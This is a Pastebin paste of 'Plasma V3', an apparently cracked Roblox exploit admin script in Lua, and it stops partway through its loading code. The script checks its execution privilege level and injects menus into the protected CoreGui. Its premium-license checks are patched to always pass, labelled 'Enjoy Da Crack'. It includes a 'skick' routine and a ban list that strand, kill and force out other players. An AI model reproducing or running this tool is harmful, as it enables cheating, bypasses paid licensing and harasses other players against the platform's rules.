Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- wait(2)
- repeat wait() until game:GetService("Players").LocalPlayer ~= nil
- Plasma = game:GetObjects('rbxassetid://491051150')[1]
- print("Welcome to Plasma!")
- print(Plasma.pro.Value)
- print("{}")
- authGui = Plasma.Guis.auth
- authGui.Parent = game:GetService("CoreGui").RobloxGui
- authGui.TextButton.MouseButton1Click:connect(function()
- authGui:Destroy()
- Workspace, Players, Lighting, ReplicatedStorage, CoreGui, Cookie, TabletGui, GuiRemover, LocalPlayer, Teams = game:GetService("Workspace"), game:GetService("Players"), game:GetService("Lighting"), game:GetService("ReplicatedStorage"), game:GetService("CoreGui"), game:GetService("CookiesService"), game:GetService("InsertService"):LoadAsset(98253592):GetChildren()[1], game:GetService("InsertService"):LoadAsset(284135286):GetChildren()[1], game:GetService("Players").LocalPlayer, game:GetService("Teams")
- admins, bans, logs, Prefix, Split, Commands, antiDisconnection, notificationSounds, banAlert, friendAlert, antiToolSpam = {LocalPlayer.Name}, {"skidplr"}, {}, {"noneset"}, " ", {}, "true", "true", "true", "true", "true"
- falerts,slock = false, false
- objects = {}
- discoset=false
- rcol="0"
- gcol="0"
- bcol="0"
- premiumThem = "false"
- orginalGameSettings = {
- ambient = Lighting.Ambient,
- brightness = Lighting.Brightness,
- gshadows = Lighting.GlobalShadows,
- outdoor = Lighting.OutdoorAmbient,
- outlines = Lighting.Outlines,
- shadowcolor = Lighting.ShadowColor,
- timeset = Lighting.TimeOfDay,
- fogcolor = Lighting.FogColor,
- fogend = Lighting.FogEnd,
- fogstart = Lighting.FogStart,
- outdoorambient = Lighting.OutdoorAmbient
- }
- function SplitString(self,inSplitPattern)
- local outResults = {}
- local theStart = 1
- local theSplitStart, theSplitEnd = string.find(self, inSplitPattern, theStart)
- while theSplitStart do
- table.insert(outResults, string.sub(self,theStart,theSplitStart-1))
- theStart = theSplitEnd + 1
- theSplitStart, theSplitEnd = string.find(self,inSplitPattern,theStart)
- end
- table.insert(outResults, string.sub(self,theStart))
- return outResults
- end
- function ispremium(plrname)
- for i, v in pairs(SplitString(game:GetService("MarketplaceService"):GetProductInfo(491056284).Description, ", ")) do
- if plrname == v then
- return true
- end
- end
- return true
- end
- function isplasmauser(plrname)
- for i, v in pairs(SplitString(game:GetService("MarketplaceService"):GetProductInfo(491056284).Description, ", ")) do
- if plrname == v then
- return true
- end
- end
- return true
- end
- updatelogtable = {
- "Plasma V3 Enjoy Da Crack:)"
- }
- shid = 491056284
- function getContext()
- local context = 2
- local success, erro = pcall(function()
- return Instance.new("ImageButton"):SetVerb("Stop")
- end)
- if success then
- context=4
- end
- success, erro = pcall(function()
- return CoreGui.Name
- end)
- if success then
- context=5
- end
- success, erro = pcall(function()
- return game:GetService('Players').LocalPlayer:SetWebPersonalServerRank(1)
- end)
- if erro then
- if erro =='setWebPersonalServerRank should be called from server'then
- context = 7
- end
- end
- return context
- end
- local sucs1337 = true
- for i, v in pairs(SplitString(game:GetService("MarketplaceService"):GetProductInfo(shid).Description, ", ")) do
- if LocalPlayer.Name == v then
- if LocalPlayer.userId == Players:GetUserIdFromNameAsync(v) then
- sucs1337 = true
- end
- end
- end
- function fade2(obj)
- local am = .15
- local function cs(ins)
- for i, v in pairs(ins:GetChildren()) do
- if v:IsA("Frame") then
- spawn(function()repeat wait() v.BackgroundTransparency = v.BackgroundTransparency+am until v.BackgroundTransparency>1 end)
- elseif v:IsA("TextLabel") then
- spawn(function()repeat wait() v.TextTransparency = v.TextTransparency+am until v.TextTransparency>1 end)
- elseif v:IsA("TextButton") or v:IsA("TextBox") then
- spawn(function()repeat wait() v.TextTransparency = v.TextTransparency+am until v.TextTransparency>1 end)
- spawn(function()repeat wait() v.BackgroundTransparency = v.BackgroundTransparency+am until v.BackgroundTransparency>1 end)
- elseif v:IsA("ScrollingFrame") then
- v.BottomImage = "" v.MidImage = "" v.TopImage = ""
- end
- cs(v)
- end
- end
- cs(obj)
- end
- function updateColor()
- Plasma.Guis.Settings.Settings.Frame.BackgroundColor3 = Color3.new(rcol/255,gcol/255,bcol/255)
- end
- if sucs1337 == true and getContext() > 3 then
- local label = Plasma.Guis.splash.lab
- label.Parent = CoreGui.RobloxGui
- label.MouseButton1Click:connect(function()
- runsettings()
- end)
- if ispremium(LocalPlayer.Name) then
- label.Text = "Plasma V3 Premium"
- label.TextColor3 = Color3.new(75/255,0/255,0/255)
- else
- label.Text = "Plasma V3"
- end
- pcall(function()
- if Cookie:GetCookieValue("hasRunPlasmaB4") ~= "true" then
- local gui = Plasma.Guis.login.Frame
- gui.Parent = CoreGui.RobloxGui
- local done = false
- gui.TextButton.MouseButton1Click:connect(function()
- prefix = gui.TextLabel.Text
- gui:Destroy()
- Cookie:SetCookieValue("hasRunPlasmaB4", "true")
- Cookie:SetCookieValue("PlasmaPrefixSetting", table.concat(Prefix, ", "))
- done = true
- end)
- repeat wait() until done == true
- end
- end)
- function fade(obj) function unanchor(ins) for i, v in pairs(ins:GetChildren()) do pcall(function()if v["BackgroundTransparency"] then for i=0,30 do spawn(function() wait()v.BackgroundTransparency = v.BackgroundTransparency+0.035
- end) end end end) pcall(function()if v["TextTransparency"] then spawn(function() for i=0,30 do wait()v.TextTransparency = v.TextTransparency+0.035 end end) end end) unanchor(v) end end unanchor(obj) for i=0,30 do wait()
- obj.Rotation = obj.Rotation+2.5 obj.BackgroundTransparency = obj.BackgroundTransparency+0.035 end end
- function tabletalert(str, plr)
- local tab=Plasma.Tablets.AlertPanel:Clone()
- tab.BrickColor = BrickColor.new(Color3.new(rcol/255,gcol/255,bcol/255))
- tab.b.f.t.Text = str
- local weld = Instance.new("Weld")
- weld.Part0 = tab
- weld.Part1 = plr.Character.Torso
- weld.C0 = CFrame.new()
- weld.C1 = CFrame.new(3,2,1) * CFrame.Angles(0, 0, 0)
- weld.Parent = tab
- tab.Parent = plr.Character
- spawn(function()wait(3)if tab~=nil then tab:Destroy()end end)
- end
- alertstable = {
- {"space1",false,0.3};
- {"space2",false,0.4};
- {"space3",false,0.5};
- {"space4",false,0.6};
- {"space5",false,0.7};
- }
- function tabletablet(plr, tablee, name, position, getplr, alls)
- local tablet = Plasma.Tablets.Panel1:Clone()
- if premiumThem == "true" and alls ~= true then
- tablet.prem.Enabled = true
- end
- frame = tablet.SurfaceGui.Frame.ScrollingFrame
- if ispremium(LocalPlayer.Name) then
- frame.Parent.TextLabel.Text = "Plasma V3 Premium - "..name
- else
- frame.Parent.TextLabel.Text = "Plasma V3 - "..name
- end
- if getplr == true then
- frame.Parent.TextLabel.Text = name
- end
- val, count = 1, 1
- for _, v in pairs(tablee) do
- local lab = frame.tx:Clone()
- lab.Parent = frame
- lab.Position = UDim2.new(0,0,0,val)
- val = val+50
- if tablee == Commands then
- printstr = ""
- for q, p in pairs(v[1]) do
- printstr = printstr .. p .. "/"
- end
- lab.Text = "["..count.."] "..printstr:sub(1, #printstr - 1)..(v[2]and(" ("..v[2]..")")or"")
- elseif getplr == true then
- lab.Text = v
- else
- lab.Text = "["..count.."] "..v
- end
- count = count+1
- lab.Visible = true
- frame.CanvasSize = UDim2.new(0,0,0,val)
- end
- local weld = Instance.new("Weld")
- weld.Part0 = tablet
- weld.Part1 = plr.Character.Torso
- weld.C0 = CFrame.new()
- weld.C1 = position
- weld.Parent = tablet
- tablet.Parent = Workspace
- tablet.Name = plr.Name.."'s tablet"
- end
- function giveplrgui(header, msg11, player)
- local sgui = Instance.new("ScreenGui")
- local fgui = Instance.new("Frame", sgui)
- fgui.BackgroundColor3 = Color3.new(rcol/255,gcol/255,bcol/255)
- fgui.BackgroundTransparency = 0.19
- fgui.BorderSizePixel = 0
- fgui.Size = UDim2.new(0.5,0,0.4,0)
- fgui.Position = UDim2.new(0.25,0,0.2,0)
- local hgui = Instance.new("TextLabel", fgui)
- hgui.BackgroundColor3 = Color3.new(0,0,0)
- hgui.BackgroundTransparency = 0.46
- hgui.BorderSizePixel = 0
- hgui.Size = UDim2.new(1,0,0.1,0)
- hgui.Font = "SourceSansLight"
- hgui.FontSize = "Size18"
- hgui.Text = header
- hgui.TextColor3 = Color3.new(1,1,1)
- hgui.TextXAlignment = "Center"
- hgui.TextYAlignment = "Center"
- hgui.ZIndex = 2
- local mgui = Instance.new("TextLabel", fgui)
- mgui.BackgroundColor3 = Color3.new(0,0,0)
- mgui.BackgroundTransparency = 1
- mgui.Size = UDim2.new(1,0,0.9,0)
- mgui.ZIndex = 2
- mgui.Font = "SourceSansLight"
- mgui.TextScaled = true
- mgui.Position = UDim2.new(0,0,0.1,0)
- mgui.Text = msg11
- mgui.TextColor3 = Color3.new(1,1,1)
- mgui.TextXAlignment = "Center"
- mgui.TextYAlignment = "Top"
- local gr,pr = game:GetService("InsertService"):LoadAsset(98253592):GetChildren()[1], game:GetService("InsertService"):LoadAsset(284135286):GetChildren()[1]
- gr.TabletGui:Destroy()
- local rem=pr.Script.Remover:Clone()
- local rv=Instance.new("BoolValue", ReplicatedStorage)
- rv.Name=player.Name .. "GUIREM"
- local ngui = sgui:Clone()
- ngui.Name="TabletGui"
- ngui.Parent=gr
- rem.Parent = ngui
- rem.Disabled = false
- local tname = ""
- for _, x in pairs(player.Character:GetChildren())do
- if x:IsA("Tool") then
- tname = x.Name
- end
- end
- player.Character.Humanoid:EquipTool(gr)
- player.Character.ROBLOXTablet:Destroy()
- if tname ~=""then
- player.Backpack[tname].Parent = player.Character
- end
- end
- function alert(messag, style)
- spawn(function()
- local msg = Plasma.Guis.welMsg.Frame:Clone()
- if premiumThem == "true" then
- msg.BackgroundColor3 = Color3.new(rcol/255,gcol/255,bcol/255)
- end
- local chosen = ""
- repeat wait()
- for i = 1,#alertstable do
- if alertstable[i][2] == false then
- alertstable[i][2] = true
- msg.Position = UDim2.new(0,0,alertstable[i][3],0)
- chosen = alertstable[i][3]
- break
- end
- end
- until chosen ~= ""
- msg.Parent = CoreGui.RobloxGui
- msg.MouseEnter:connect(function()
- fade(msg)
- end)
- if notificationSounds == "true" then
- local audio = Instance.new("Sound", LocalPlayer)audio.SoundId = "rbxassetid://138222365"audio:Play()
- end
- if style ~= nil then
- local alpha = {"a", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "n", "m", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", ".", ",","!", "/", ":", ";", "@", "(", ")", "_", "end"}
- local c = 1
- local newtext = ""
- local text = messag
- local function nt(n)newtext = newtext .. n end
- repeat
- local label = msg.new
- for i, v in pairs(alpha) do
- label.Text = newtext
- label.Text = label.Text .. v
- if string.sub(text, c, c):lower() == v:lower() then
- nt(string.sub(text, c, c))
- c = c+1
- break
- end
- if string.sub(text, c, c) == " " then nt(" ")c = c+1 end
- if v == "end" then c = c+1 end
- game:GetService("RunService").RenderStepped:wait()
- end
- until
- c > string.len(text)
- else
- msg.new.Text = messag
- end
- wait(2.5)
- fade(msg)
- msg:Destroy()
- for i = 1,#alertstable do
- if alertstable[i][3] == chosen then
- alertstable[i][2] = false
- break
- end
- end
- end)
- end
- function FindFirstClass(thingy, Class)
- for i, v in pairs(thingy:GetChildren()) do
- if v.ClassName == Class then return v end
- end
- return false
- end
- function skick(plr)
- if plr ~= LocalPlayer and plr.Name~="G3rtidadon" then
- pcall(function()
- spawn(function()
- lol=function(wt)
- if wt then
- if(wt~=nil)then
- spawn(function()
- pcall(function()
- local vic=wt
- local skt=Instance.new("SkateboardPlatform", vic)
- skt.CFrame=CFrame.new(math.random(-1000,1000),1000,math.random(-1000,1000))
- skt.CanCollide=false
- skt.Anchored=false
- skt.Transparency=1
- skt.Size=Vector3.new(5,1,5)
- FindFirstClass(vic, "Humanoid").WalkSpeed=0
- FindFirstClass(vic, "Humanoid").Jump=true
- vic.Health:Destroy()
- vic.HumanoidRootPart.Anchored = false
- wait(.2)
- local wld=Instance.new("Weld", workspace)
- wld.Part0=vic.Torso
- wld.Part1=skt
- wld.C0=CFrame.new(0,-500,0)
- wait(.5)
- skt.Anchored=true
- wld:Destroy()
- end)
- end);
- end;
- end;
- end;
- repeat
- wait()
- if plr ~= nil then
- lol(plr.Character)
- end
- until not Players:FindFirstChild(plr.Name)
- if not Players:FindFirstChild(plr.Name) then
- alert("Removed "..plr.Name)
- end
- end)
- end)
- end
- end
- function IsAdmin(Plr)
- if Plr.ClassName == "Player" then
- if Plr == LocalPlayer then return true end
- for i, v in pairs(admins) do if v == Plr.Name then return true end end
- end
- return false
- end
- function IsAdmin(Plr)
- if Plr.ClassName == "Player" then
- if Plr == LocalPlayer then return true end
- for i, v in pairs(admins) do if v == Plr.Name then return true end end
- end
- return false
- end
- FindPlayer = function(plr, Speaker)
- plr = plr:lower()
- local plrs = {}
- dif = SplitString(plr, ",")
- for w, g in pairs(dif) do
- if g ~= "" then
- if g == "me" then
- table.insert(plrs, Speaker)
- elseif g == "all" then
- plrs = Players:GetChildren()
- elseif g == "others" then
- for i,v in pairs(Players:GetChildren()) do
- if v.Name ~= Speaker.Name then
- table.insert(plrs, v)
- end
- end
- elseif g == "random" then
- table.insert(plrs, Players:GetChildren()[math.random(1,#Players:GetChildren())])
- elseif g == "admins" then
- for i,v in pairs(Players:GetChildren()) do
- if IsAdmin(v) then
- table.insert(plrs, v)
- end
- end
- elseif g == "nonadmins" then
- for i,v in pairs(Players:GetChildren()) do
- if not IsAdmin(v) then
- table.insert(plrs, v)
- end
- end
- elseif g == "friends" then
- for i,v in pairs(Players:GetChildren()) do
- if v:IsFriendsWith(Speaker.userId) and v ~= Speaker then
- table.insert(plrs, v)
- end
- end
- elseif g == "nonfriends" then
- for i,v in pairs(Players:GetChildren()) do
- if not v:IsFriendsWith(Speaker.userId) then
- table.insert(plrs, v)
- end
- end
- elseif g == "guests" then
- for i,v in pairs(Players:GetChildren()) do
- if v.Name:find("Guest ") then
- table.insert(plrs, v)
- end
- end
- elseif g == "nonguests" then
- for i,v in pairs(Players:GetChildren()) do
- if not v.Name:find("Guest ") then
- table.insert(plrs, v)
- end
- end
- else
- local found = false
- for i,v in pairs(Players:GetChildren()) do
- if string.sub(v.Name:lower(), 1, #g) == g then
- table.insert(plrs, v) found = true
- end
- end
- if found == false then
- for i, v in pairs(game:GetService("Teams"):GetChildren()) do
- if string.sub(v.Name:lower(), 1, #g) == g then
- for q, p in pairs(Players:GetChildren()) do
- if p.TeamColor == v.TeamColor then
- table.insert(plrs, p)
- end
- end
- end
- end
- end
- end
- end
- end
- return plrs
- end
- function IsBanned(Plr)
- if Plr.ClassName == "Player" then
- if Plr == LocalPlayer then return false end
- for i, v in pairs(bans) do if v:lower() == Plr.Name:lower() then return true end end
- end
- return false
- end
- function savebans()
- Cookie:SetCookieValue("PlasmaBanList1", table.concat(bans, ", "))
- end
- function loadbans()
- local newbans = SplitString(Cookie:GetCookieValue("PlasmaBanList1"), ", ")
- bans = {}
- bans = newbans
- end
- function savesettings()
- Cookie:SetCookieValue("PlasmaPrefixSetting", table.concat(Prefix, ", "))
- Cookie:SetCookieValue("PlasmaAntiDiscSetting", antiDisconnection)
- Cookie:SetCookieValue("NotificationSetting", notificationSounds)
- Cookie:SetCookieValue("BanAlertSetting", banAlert)
- Cookie:SetCookieValue("FriendAlertSetting", friendAlert)
- Cookie:SetCookieValue("AntiToolSpamSetting", antiToolSpam)
- Cookie:SetCookieValue("RedColorTheme", rcol)
- Cookie:SetCookieValue("GreenColorTheme", gcol)
- Cookie:SetCookieValue("BlueColorTheme", bcol)
- Cookie:SetCookieValue("PremThem", premiumThem)
- end
- function loadsettings()
- if Cookie:GetCookieValue("hasRunPlasmaB4") == "true" then
- local prefixx = SplitString(Cookie:GetCookieValue("PlasmaPrefixSetting"), ", ")
- Prefix = {}
- Prefix = prefixx
- end
- antiDisconnection = Cookie:GetCookieValue("PlasmaAntiDiscSetting")
- notificationSounds = Cookie:GetCookieValue("NotificationSetting")
- banAlert = Cookie:GetCookieValue("BanAlertSetting")
- friendAlert = Cookie:GetCookieValue("FriendAlertSetting")
- antiToolSpam = Cookie:GetCookieValue("AntiToolSpamSetting")
- rcol = Cookie:GetCookieValue("RedColorTheme")
- gcol = Cookie:GetCookieValue("GreenColorTheme")
- bcol = Cookie:GetCookieValue("BlueColorTheme")
- if ispremium(LocalPlayer.Name) then
- if Cookie:GetCookieValue("PremThem") == "true" or Cookie:GetCookieValue("PremThem") == "false" then
- premiumThem = Cookie:GetCookieValue("PremThem")
- end
- end
- updateColor()
- end
- function runsettings()
- gui = Plasma.Guis.Settings.Settings:Clone()
- gui.Parent = CoreGui.RobloxGui
- gui.Name = "set"
- local general = gui.Frame.general
- local client = gui.Frame.client
- local function changetab(tab)
- for i, v in pairs(gui.Frame:GetChildren()) do if v:IsA("Frame") then v.Visible = false end end
- tab.Visible = true
- end
- gui.Frame.gen.MouseButton1Click:connect(function() changetab(gui.Frame.general) end)
- gui.Frame.cli.MouseButton1Click:connect(function() changetab(gui.Frame.client) end)
- gui.Frame.admin.MouseButton1Click:connect(function() changetab(gui.Frame.admins) end)
- gui.Frame.ban.MouseButton1Click:connect(function() changetab(gui.Frame.bans) end)
- gui.Frame.log.MouseButton1Click:connect(function() changetab(gui.Frame.logs) end)
- gui.Frame.coma.MouseButton1Click:connect(function() changetab(gui.Frame.commands) end)
- gui.Frame.memb.MouseButton1Click:connect(function() changetab(gui.Frame.member) end)
- gui.Frame.updates.MouseButton1Click:connect(function() changetab(gui.Frame.upd) end)
- gui.Frame.the.MouseButton1Click:connect(function() changetab(gui.Frame.them) end)
- gui.Frame.pre.MouseButton1Click:connect(function() changetab(gui.Frame.prem) end)
- local function setcolor(button, val)if val == "true" then button.BackgroundColor3 = Color3.new(255/255,255/255,255/255)else button.BackgroundColor3 = Color3.new(6/255,6/255,6/255) end end
- local function isselected(button)if button.BackgroundColor3 == Color3.new(255/255,255/255,255/255) then return true else return false end end
- general.restore.MouseButton1Click:connect(function()setcolor(general.disTXT.btn, "true")setcolor(general.soundTXT.btn, "true")end)
- general.disTXT.btn.MouseButton1Click:connect(function() if isselected(general.disTXT.btn) then setcolor(general.disTXT.btn, "false") else setcolor(general.disTXT.btn, "true") end end)
- general.soundTXT.btn.MouseButton1Click:connect(function() if isselected(general.soundTXT.btn) then setcolor(general.soundTXT.btn, "false") else setcolor(general.soundTXT.btn, "true") end end)
- general.donTXT.btn.MouseButton1Click:connect(function() game:GetService("MarketplaceService"):PromptPurchase(LocalPlayer, shid) end)
- client.title.Text = "Client - "..LocalPlayer.Name
- client.restore.MouseButton1Click:connect(function() client.contextTXT.txt.Text = getContext()setcolor(client.alertTXT.btn, "true")setcolor(client.alert2TXT.btn, "true")setcolor(client.alert3TXT.btn, "true")end)
- client.alertTXT.btn.MouseButton1Click:connect(function() if isselected(client.alertTXT.btn) then setcolor(client.alertTXT.btn, "false") else setcolor(client.alertTXT.btn, "true") end end)
- client.alert2TXT.btn.MouseButton1Click:connect(function() if isselected(client.alert2TXT.btn) then setcolor(client.alert2TXT.btn, "false") else setcolor(client.alert2TXT.btn, "true") end end)
- client.alert3TXT.btn.MouseButton1Click:connect(function() if isselected(client.alert3TXT.btn) then setcolor(client.alert3TXT.btn, "false") else setcolor(client.alert3TXT.btn, "true") end end)
- gui.Frame.commands.TextBox.Changed:connect(function(e)if e == "Text" then gui.Frame.commands.ScrollingFrame:ClearAllChildren()val, count = 1, 1 for i, v in pairs(Commands) do if string.sub(v[1][1]:lower(), 1, #gui.Frame.commands.TextBox.Text:lower()) == gui.Frame.commands.TextBox.Text:lower() then
- local label = gui.var:Clone()label.Parent = gui.Frame.commands.ScrollingFrame label.Position = UDim2.new(0,0,0,val)val = val+20 label.TextButton:Destroy() printstr = ""for q, p in pairs(v[1]) do printstr = printstr .. p .. "/"end
- label.Text = "["..count.."] "..printstr:sub(1, #printstr - 1)label.Visible = true count = count+1 gui.Frame.commands.ScrollingFrame.CanvasSize = UDim2.new(0,0,0,val)end end end end)
- gui.Frame.logs.TextBox.Changed:connect(function(e)if e == "Text" then gui.Frame.logs.ScrollingFrame:ClearAllChildren()val, count = 1, 1 for i, v in pairs(logs) do if v[2]:lower():find(gui.Frame.logs.TextBox.Text:lower()) then
- local label = gui.var:Clone()label.Parent = gui.Frame.logs.ScrollingFrame label.Position = UDim2.new(0,0,0,val)val = val+20 label.TextButton:Destroy()label.Text = "["..count.."] "..v[1]..": "..v[2]label.Visible = true count = count+1
- gui.Frame.logs.ScrollingFrame.CanvasSize = UDim2.new(0,0,0,val)end end end end)
- gui.Frame.member.TextBox.Changed:connect(function(e)if e == "Text" then gui.Frame.member.ScrollingFrame:ClearAllChildren()val, count = 1, 1 for i, v in pairs(SplitString(game:GetService("MarketplaceService"):GetProductInfo(shid).Description, ", ")) do
- if v:lower():find(gui.Frame.member.TextBox.Text:lower()) then local label = gui.var:Clone()label.Parent = gui.Frame.member.ScrollingFrame label.Position = UDim2.new(0,0,0,val)val = val+20 label.TextButton:Destroy()label.Text = "["..count.."] "..v
- label.Visible = true count = count+1 gui.Frame.member.ScrollingFrame.CanvasSize = UDim2.new(0,0,0,val)end end end end)
- local str = [[
- ]]
- loadstring(str)()
- gui.Frame.admins.TextLabel.TextButton.MouseButton1Click:connect(function() if gui.Frame.admins.TextLabel.TextButton.Frame.Visible == true then gui.Frame.admins.TextLabel.TextButton.Frame.Visible = false else gui.Frame.admins.TextLabel.TextButton.Frame.Visible = true end end)
- gui.Frame.bans.TextLabel.TextButton.MouseButton1Click:connect(function() if gui.Frame.bans.TextLabel.TextButton.Frame.Visible == true then gui.Frame.bans.TextLabel.TextButton.Frame.Visible = false else gui.Frame.bans.TextLabel.TextButton.Frame.Visible = true end end)
- general.prefixTXT.txt.Text = table.concat(Prefix, ", ")setcolor(general.disTXT.btn, antiDisconnection)setcolor(general.soundTXT.btn, notificationSounds)client.contextTXT.txt.Text = getContext()setcolor(client.alertTXT.btn, banAlert)
- setcolor(client.alert2TXT.btn, friendAlert) setcolor(client.alert3TXT.btn, antiToolSpam)
- function loada(name, tables)
- function removeBtn(btn, playername, tabl, libery)
- btn.TextButton.MouseButton1Click:connect(function()
- for l, k in pairs(tabl) do
- if k == playername then
- table.remove(tabl, l)
- end
- end
- val, count = 1, 1
- for _, p in pairs(libery:GetChildren()) do p:Destroy() end
- for i, v in pairs(tabl) do
- label = gui.var:Clone()
- label.Parent = libery
- label.Position = UDim2.new(0,0,0,val)
- val = val+20
- label.Text = "["..count.."] "..v
- label.Visible = true
- count = count+1
- end
- libery.CanvasSize = UDim2.new(0,0,0,val)
- if getContext() == 4 or getContext() == 7 then
- savebans()
- end
- end)
- end
- val, count = 1, 1
- for i, v in pairs(tables) do
- if v ~= "" and not ispremium(v) then
- label = gui.var:Clone()
- label.Parent = gui.Frame[name].ScrollingFrame
- label.Position = UDim2.new(0,0,0,val)
- val = val+20
- if Players:FindFirstChild(v) then
- label.Text = "["..count.."] "..v.." (in-game)"
- elseif name == "upd" then
- label.Text = v
- label.TextXAlignment = "Center"
- else
- label.Text = "["..count.."] "..v
- end
- label.Visible = true
- count = count+1
- if name ~= "member" and name ~= "upd" then
- removeBtn(label, v, tables, gui.Frame[name].ScrollingFrame)
- else
- label.TextButton:Destroy()
- end
- gui.Frame[name].ScrollingFrame.CanvasSize = UDim2.new(0,0,0,val)
- end
- end
- if name ~= "member" and name ~= "upd" then
- gui.Frame[name].TextLabel.TextButton.Frame.Frame.btn.MouseButton1Click:connect(function()
- local frame = gui.Frame[name].TextLabel.TextButton.Frame.Frame
- local nameofnew = frame.TextBox
- table.insert(tables, nameofnew.Text)
- val, count = 1, 1
- gui.Frame[name].ScrollingFrame:ClearAllChildren()
- for i, v in pairs(tables) do
- label = gui.var:Clone()
- label.Parent = gui.Frame[name].ScrollingFrame
- label.Position = UDim2.new(0,0,0,val)
- val = val+20
- label.Text = "["..count.."] "..v
- label.Visible = true
- count = count+1
- removeBtn(label, v, tables, gui.Frame[name].ScrollingFrame)
- end
- gui.Frame[name].ScrollingFrame.CanvasSize = UDim2.new(0,0,0,val)
- if getContext() == 4 or getContext() == 7 then
- savebans()
- end
- end)
- end
- end
- loada("admins", admins)
- loada("bans", bans)
- loada("member", SplitString(game:GetService("MarketplaceService"):GetProductInfo(shid).Description, ", "))
- loada("upd", updatelogtable)
- function loada2(name, tables)
- val, count = 1, 1
- for i, v in pairs(tables) do
- local label = gui.var:Clone()
- label.Parent = gui.Frame[name].ScrollingFrame
- label.Position = UDim2.new(0,0,0,val)
- val = val+20
- label.TextButton:Destroy()
- if tables == Commands then
- printstr = ""
- for q, p in pairs(v[1]) do
- printstr = printstr .. p .. "/"
- end
- label.Text = "["..count.."] "..printstr:sub(1, #printstr - 1)
- else
- label.Text = "["..count.."] "..v[1]..": "..v[2]
- end
- label.Visible = true
- count = count+1
- gui.Frame[name].ScrollingFrame.CanvasSize = UDim2.new(0,0,0,val)
- end
- end
- loada2("logs", logs)
- loada2("commands", Commands)
- gui.Frame.them.r.col.Text = rcol
- gui.Frame.them.g.col.Text = gcol
- gui.Frame.them.b.col.Text = bcol
- gui.Frame.them.r.col.Changed:connect(function(t)
- if t == "Text" then
- rcol = gui.Frame.them.r.col.Text
- gui.Frame.BackgroundColor3 = Color3.new(rcol/255,gcol/255,bcol/255)
- end
- end)
- gui.Frame.them.g.col.Changed:connect(function(t)
- if t == "Text" then
- gcol = gui.Frame.them.g.col.Text
- gui.Frame.BackgroundColor3 = Color3.new(rcol/255,gcol/255,bcol/255)
- end
- end)
- gui.Frame.them.b.col.Changed:connect(function(t)
- if t == "Text" then
- bcol = gui.Frame.them.b.col.Text
- gui.Frame.BackgroundColor3 = Color3.new(rcol/255,gcol/255,bcol/255)
- end
- end)
- if ispremium(LocalPlayer.Name) then
- gui.Frame.them.prem.Visible = true
- gui.Frame.them.prem.MouseButton1Click:connect(function()
- gui.Frame.BackgroundColor3 = Color3.new(75/255, 0/255, 0/255)
- gui.Frame.them.r.col.Text = "75"
- gui.Frame.them.g.col.Text = "0"
- gui.Frame.them.b.col.Text = "0"
- CoreGui.RobloxGui.TextBox.BackgroundColor3 = Color3.new(75/255, 0/255, 0/255)
- premiumThem = "true"
- end)
- end
- gui.Frame.them.restore.MouseButton1Click:connect(function() CoreGui.RobloxGui.TextBox.BackgroundColor3 = Color3.new(0/255, 0/255, 0/255) gui.Frame.BackgroundColor3 = Color3.new(0/255, 0/255, 0/255)premiumThem = "false" gui.Frame.them.r.col.Text = "0" gui.Frame.them.g.col.Text = "0" gui.Frame.them.b.col.Text = "0" end)
- gui.txt.MouseButton1Click:connect(function()
- Prefix = SplitString(general.prefixTXT.txt.Text, ", ")
- if isselected(general.disTXT.btn) then antiDisconnection = "true" else antiDisconnection = "false" end
- if isselected(general.soundTXT.btn) then notificationSounds = "true" else notificationSounds = "false" end
- if isselected(client.alertTXT.btn) then banAlert = "true" else banAlert = "false" end
- if isselected(client.alert2TXT.btn) then friendAlert = "true" else friendAlert = "false" end
- if isselected(client.alert3TXT.btn) then antiToolSpam = "true" else antiToolSpam = "false" end
- Plasma.Guis.Settings.Settings.Frame.BackgroundColor3 = Color3.new(rcol/255,gcol/255,bcol/255)
- if getContext() == 4 or getContext() == 7 then
- savesettings()
- end
- fade2(gui)
- repeat wait() until gui.Frame.Transparency > 1
- gui:Destroy()
- end)
- end
- function AddCommand(CNames, Usage, CFunction)
- Commands[#Commands+1] = {CNames, CFunction and Usage or false, CFunction and CFunction or Usage}
- end
- function ChatEvent(Player)
- Player.Chatted:connect(function(Message)
- logs[#logs + 1] = {Player.Name, Message}
- HandleCommand(Message, Player)
- end)
- end
- function commandbar(v) end
- function HandleCommand(Message, Speaker)
- if banAlert == "true" then
- if Message:lower():find("kick") or Message:lower():find("ban") and Speaker ~= LocalPlayer then
- alert("[Alert] "..Speaker.Name.." said "..Message)
- end
- end
- if not Speaker then local Speaker = LocalPlayer end
- for r, t in pairs(Prefix) do
- if Message:sub(1, #t) == t then
- local CParts = SplitString(Message:sub(2), Split)
- for i, v in pairs(Commands) do
- for q, p in pairs(v[1]) do
- if CParts[1]:lower() == p:lower() and IsAdmin(Speaker) then
- coroutine.resume(coroutine.create(function()
- v[3](Speaker, SplitString(Message:sub(#t + #CParts[1] + 2), Split))
- end))
- end
- end
- end
- end
- end
- end
- --loading
- alert("Welcome, "..LocalPlayer.Name, 1)
- alert("Plasma was executed with a context of "..getContext())
- if Workspace.FilteringEnabled == true then
- alert("Filtering enabled: true")
- else
- alert("Filtering enabled: false")
- end
- local s, e = pcall(function()loadbans() loadsettings()end)
- if s then
- alert("Loaded settings")
- else
- print(e)
- if getContext() ~= 4 or getContext() ~= 7 then
- alert("Settings could not load due to identity level")
- else
- alert("Settings could not load, error msg:'"..e.."'")
- end
- end
- for i, v in pairs(Players:GetPlayers()) do
- if IsBanned(v) then
- spawn(function()
- v.Character:MoveTo(Vector3.new(0,1000,0))
- v.Character.Head:Destroy()
- skick(v)
- alert("Removed "..v.Name.." due to being banned")
- end)
- else
- if v.ClassName == "Player" then
- ChatEvent(v)
- end
- if v:IsFriendsWith(LocalPlayer.userId) and v~=LocalPlayer then
- alert("Your friend "..v.Name.." is on the server")
- end
- end
- end
- if Workspace:FindFirstChild("Plasma_users_") then
- for i, v in pairs(Workspace["Plasma_users_"]:GetChildren()) do
- if v.Name == LocalPlayer.Name then
- alert("You was on this server.")
- v:Destroy()
- else
- if Players:FindFirstChild(v.Name) then
- alert("Plasma user "..v.Name.." is on this server")
- else
- alert("Plasma user "..v.Name.." was on this server")
- end
- end
- end
- local s = Instance.new("StringValue", Workspace["Plasma_users_"])
- s.Name = LocalPlayer.Name
- else
- local f = Instance.new("Folder", Workspace)
- f.Name = "Plasma_users_"
